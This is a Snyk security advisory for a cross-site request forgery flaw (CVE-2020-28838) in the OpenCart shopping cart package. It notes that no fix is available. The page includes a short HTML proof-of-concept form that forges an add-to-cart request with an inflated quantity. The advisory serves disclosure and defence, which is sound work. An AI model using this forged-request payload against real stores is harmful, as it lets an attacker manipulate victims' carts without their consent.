Cross-Site Request Forgery (CSRF) Affecting opencart/opencart package, versions >=3.0.3.6


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-Site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-OPENCARTOPENCART-6672910
  • published24 Apr 2024
  • disclosed24 May 2022
  • creditMahendra Purbia

Introduced: 24 May 2022

CVE-2020-28838  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

There is no fixed version for opencart/opencart.

Overview

opencart/opencart is a shopping cart system

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) due to the CART option in the CMS. An attacker can manipulate cart items via the 'Add to cart' function.

PoC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/shop/index.php?route=checkout/cart/add" method="POST">
      <input type="hidden" name="product&#95;id" value="43" />
      <input type="hidden" name="quantity" value="10000000" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

CVSS Scores

version 3.1